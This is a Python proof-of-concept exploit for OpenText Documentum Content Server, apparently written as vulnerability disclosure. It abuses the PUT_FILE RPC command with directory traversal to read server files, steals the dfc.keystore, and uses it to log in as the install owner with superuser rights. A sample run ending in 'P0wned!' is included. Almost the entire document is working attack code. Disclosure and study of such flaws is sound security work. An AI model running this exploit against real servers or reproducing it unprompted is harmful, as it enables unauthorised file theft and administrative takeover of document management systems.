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- #!/usr/bin/env python
- # Opentext Documentum Content Server (formerly known as EMC Documentum Content Server)
- # does not properly validate input of PUT_FILE RPC-command which allows any
- # authenticated user to hijack arbitrary file from Content Server filesystem,
- # because some files on Content Server filesystem are security-sensitive
- # the security flaw described above leads to privilege escalation
- #
- # The PoC below demonstrates this vulnerability:
- #
- # MacBook-Pro:~ $ python OTDocumentumPutFileVulnerability.py
- # usage:
- # OTDocumentumPutFileVulnerability.py host port user password
- # MacBook-Pro:~ $ python OTDocumentumPutFileVulnerability.py docu72dev01 10001 dm_bof_registry dm_bof_registry
- # Trying to connect to docu72dev01:10001 as dm_bof_registry ...
- # Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle
- # Downloading /u01/documentum/cs/product/7.2/bin/dm_set_server_env.sh
- # Trying to find any object with content...
- # Downloading /u01/documentum/cs/shared/config/dfc.keystore
- # Trying to find any object with content...
- # Trying to connect to docu72dev01:10001 as dmadmin ...
- # Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle
- # P0wned!
- #
- #
- import socket
- import sys
- from os.path import basename
- from dctmpy.docbaseclient import DocbaseClient, NULL_ID
- from dctmpy.identity import Identity
- from dctmpy.obj.typedobject import TypedObject
- CIPHERS = "ALL:aNULL:!eNULL"
- def usage():
- print "usage:\n\t%s host port user password" % basename(sys.argv[0])
- def main():
- if len(sys.argv) != 5:
- usage()
- exit(1)
- (session, docbase) = create_session(*sys.argv[1:5])
- if is_super_user(session):
- print "Current user is a superuser, nothing to do"
- exit(1)
- admin_console = session.get_by_qualification(
- "dm_method where object_name='dm_JMSAdminConsole'")
- env_script = admin_console['method_verb']
- env_script = env_script.replace('dm_jms_admin.sh', 'dm_set_server_env.sh')
- keystore_path = None
- script = str(download(session, env_script, bytearray()))
- if not script:
- print "Unable to download dm_set_server_env.sh"
- exit(1)
- for l in script.splitlines():
- if not l.startswith("DOCUMENTUM_SHARED"):
- continue
- keystore_path = l.split('=')[1]
- break
- if not keystore_path:
- print "Unable to determine DOCUMENTUM_SHARED"
- exit(1)
- keystore_path += "/config/dfc.keystore"
- keystore = str(download(session, keystore_path, bytearray()))
- if not keystore:
- print "Unable to download dfc.keystore"
- exit(1)
- (session, docbase) = create_session(
- sys.argv[1], sys.argv[2],
- session.serverconfig['r_install_owner'], "",
- identity=Identity(trusted=True, keystore=keystore))
- if is_super_user(session):
- print "P0wned!"
- def download(session, path, buf):
- print "Downloading %s" % path
- print "Trying to find any object with content..."
- object_id = session.query(
- "SELECT FOR READ r_object_id "
- "FROM dm_sysobject WHERE r_content_size>0") \
- .next_record()['r_object_id']
- session.apply(None, NULL_ID, "BEGIN_TRANS")
- store = session.get_by_qualification("dm_filestore")
- format = session.get_by_qualification("dm_format")
- remote_path = "common=/../../../../../../../../../..%s=Directory" % path
- result = session.put_file(store.object_id(), remote_path, format.object_id())
- full_size = result['FULL_CONTENT_SIZE']
- ticket = result['D_TICKET']
- content_id = session.next_id(0x06)
- obj = TypedObject(session=session)
- obj.set_string("OBJECT_TYPE", "dmr_content")
- obj.set_bool("IS_NEW_OBJECT", True)
- obj.set_int("i_vstamp", 0)
- obj.set_id("storage_id", store.object_id())
- obj.set_id("format", format.object_id())
- obj.set_int("data_ticket", ticket)
- obj.set_id("parent_id", object_id)
- if not session.save_cont_attrs(content_id, obj):
- raise RuntimeError("Unable to save content object")
- handle = session.make_puller(
- NULL_ID, store.object_id(), content_id,
- format.object_id(), ticket
- )
- if handle == 0:
- raise RuntimeError("Unable make puller")
- for chunk in session.download(handle):
- buf.extend(chunk)
- return buf
- def create_session(host, port, user, pwd, identity=None):
- print "Trying to connect to %s:%s as %s ..." % \
- (host, port, user)
- session = None
- try:
- session = DocbaseClient(
- host=host, port=int(port),
- username=user, password=pwd,
- identity=identity)
- except socket.error, e:
- if e.errno == 54:
- session = DocbaseClient(
- host=host, port=int(port),
- username=user, password=pwd,
- identity=identity,
- secure=True, ciphers=CIPHERS)
- else:
- raise e
- docbase = session.docbaseconfig['object_name']
- version = session.serverconfig['r_server_version']
- print "Connected to %s:%s, docbase: %s, version: %s" % \
- (host, port, docbase, version)
- return (session, docbase)
- def is_super_user(session):
- user = session.get_by_qualification(
- "dm_user WHERE user_name=USER")
- if user['user_privileges'] == 16:
- return True
- group = session.get_by_qualification(
- "dm_group where group_name='dm_superusers' "
- "AND any i_all_users_names=USER")
- if group is not None:
- return True
- return False
- if __name__ == '__main__':
- main()
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